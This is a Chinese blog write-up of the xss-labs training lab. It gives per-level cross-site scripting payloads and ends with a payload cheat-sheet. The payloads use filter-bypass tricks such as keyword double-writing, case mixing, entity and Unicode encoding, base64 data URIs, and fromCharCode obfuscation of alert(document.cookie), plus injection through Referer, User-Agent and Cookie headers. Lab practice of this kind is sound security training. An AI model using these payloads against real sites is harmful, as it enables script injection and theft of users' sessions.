xss-labs通关wp

发布于 2021-12-19  1831 次阅读


XSS-labs-第二次写

xss-labs要求以最短的payload通关,只有一个地方会跳转下一关
1.发现test在页面直接显示,
<script>alert('xss')</script>
2.构建payload闭合value并弹窗
<input name="keyword" value="test">
"><script>alert('xss')</script>
3.发现<>和"和部分被转义了,查看源码    '弹窗//
<input name=keyword value='".htmlspecialchars($str)."'>
'onclick=alert("xss")//
4.算了,直接看源码过滤了< > ,闭合  "弹窗//
<input name=keyword value="'.$str3.'">
"onclick=alert("xss")//
5.看源码 <script  on 被过滤了大小写也不行,输入的东西会多出来一块,构造href
<input name=keyword value="'.$str3.'">
"><a href='javascript:alert(/xss/)'>  点击多出来的即可
6.看源码,发现href没过滤大小写
<input name=keyword value="'.$str6.'">
"><a hRef=javascript:alert(/xss/)>
7.看源码strtolower函数屏蔽大小写绕过,换成双写即可
<input name=keyword value="'.$str6.'">
"><a hrhRefef=javascrscriptipt:alert(/xss/)>
8.看源码发现script被过滤了
javascript:alert(/xss/)编码Unicode一下即可
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;
9.看源码,发现检测http://  过滤script,进行实体化编码一下就可以了
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('xsshttp://')
10.
?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
11.看源码接收HTTP_REFERER
referer:"type="text" onclick="alert('xss')
12.看源码接收HTTP_USER_AGENT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 "type="text" onclick="alert('xss')
13.看源码接收$str11=$_COOKIE["user"];
<input name="t_cook" value="'.$str33.'" type="hidden">
Cookie: user=call+me+maybe%3F "type="text" onclick="alert('xss')
14.好像做不了exit xss
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
15.看源码接收src,利用第一关的包含进来
$str = $_GET["src"];
?src='level1.php?name=<img src=1 onerror=alert(1)>'
16.看源码,浏览器直接解析了
<center><img src=level16.png></center>
?keyword=<img%0asrc=1%0aonerror=alert("xss")>
17.没flash看源码接收,之后需要flash插件,用不了记个答案
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
level17.php?arg01= onfocus&arg02=javascript:alert(123)

level17.php?arg01=a&arg02=" onmouseover=alert(1)
18.
?arg01=a&arg02=" onmouseover=alert(1)
level18.php?arg01= onfoucs&arg02=javascript:alert(123)
19
level19.php?arg01=version&arg02=<a href="javascript:alert(123)">click here</a>
arg01=version&arg02=<a href="javascript:alert(1)">123</a>
20
onmouseover=alert(1)


XSS-labs-第一次写

第一关(随便过)

/xss/level1.php?name=<script>alert('xss')</script>

第二关(闭合标签过)

闭合标签即可

level2.php?keyword="><script>alert('xss')</script>//

第三关(特殊事件过)

image-20211018093505536

发现符号被过滤了,换个不带<>的

'Onclick='alert(/xss/)

第四关(特殊事件过)

"onfocus=javascript:alert('xss') > //

第五关(连接)

"> <a href=javascript:alert('xss') > xss</a> //

第六关(大小写过)

"> <a HrEf=javascript:alert('xss') > xss</a> //

第七关(双写过)

"> <a HrHREFEf=javascscriptript:alert('xss') > xss</a> //

第八关

简略介绍传送门(XSS-Labs合集Beglage-CSDN博客xsslabs)

javascript:alert('xss')进行HTML编码

javasc&#82;ipt:alert(/xss/)

对参数值做了小写处理

对常见的关键字做了过滤处理

将用来起闭合作用的引号做了字符实体替换。

第九关

javasc&#82;ipt:alert('http://xss')

pyload:没有`号

第十关

?t_sort=click me!" type="button" Onclick="alert(/xss/)

第十一关

$str11=$_SERVER['HTTP_REFERER'];源码接受referer传参

Referer: click me!" type="button" οnclick="alert(/xss/)

bp抓包然后添加

第十二关

$str11=$_SERVER['HTTP_USER_AGENT'];源码接受这个参数

User-Agent: click me!" type="button" οnclick="alert(/xss/)

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 User-Agent: click me!" type="button" onclick="alert(/xss/)

第十三关

$str11=$_COOKIE["user"];

Cookie: user=click me!" type="button" οnclick="alert(/xss/)

第十四关

我也不会

第十五关

ng-include 指令,该指令用于包含外部的 HTML 文件

引用文件名要加单引号 即 ng-include=" ‘index.html ’ " 绕过方法:利用ng-include指令的特性包含第一关的HTML文件,并以此触发弹窗

level15.php?src='http://127.0.0.1/xss/level1.php?name=<img src=x onerror=alert(/XSS/)>'

第十六关

?keyword=<img%0Dsrc=1%0DOnerrOr=alert()>

过滤了空格,将空格编码了绕过

第十七关

?arg01=a&arg02=b%20onmouseover=alert(1)用IE浏览器打开

第十八关

?arg01=a&arg02=b%20onmouseover=alert(1)

同样用IE打开

第十九关(flash-xss)

尽量看(xss-labs通关大合集wo41ge的博客-CSDN博客xss-labs)

大佬传送门(XSS-labs Level 19 Flash XSS_baynk的博客-CSDN博客)

还行(xss-labs-master靶机1-20关解题思路_韩家贱人希的博客-CSDN博客)

arg01=version&arg02=<a href="javascript:alert(1)">123</a>

我是没看懂,会了教我

第二十关(flash-xss)

arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)*//&width&height

<img src="x" onerror=alert(1)>
<img src=1 onmouseover=alert('xss')>
<a href="javascript:alert(1)">baidu</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
<script>alert('xss')</script>
<script>prompt('xss')</script>
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<iframe src="javascript:alert('xss')"><iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
<svg onload=alert(1)>
<input name="name" value="" onmouseover=prompt('xss') bad=“”>
<input type=“hidden” accesskey=“X” onclick=“alert(1)”>
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)) 适用于绕过黑名单alert 在跨站中,String.fromCharCode主要是使到一些已经被列入黑名单的关键字或语句安全通过检测,把关键字或语句转换成为ASCII码,然后再用String.fromCharCode还原,因为大多数的过滤系统都不会把String.fromCharCode加以过滤,例如关键字alert被过滤掉,那就可以这么利用alert(document.cookie)
<img src="1" onerror=alert(1)>
<img src="1" onerror=alert&#40;1&#41;>(实体化()
<img src=1 onerror=alert&#40&#41>
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<img src="1" onerror=location="javascript:alert(1)”>
<img src="1" onerror=location="javascript:alert%281%29”>

子夜不哭
最后更新于 2021-12-19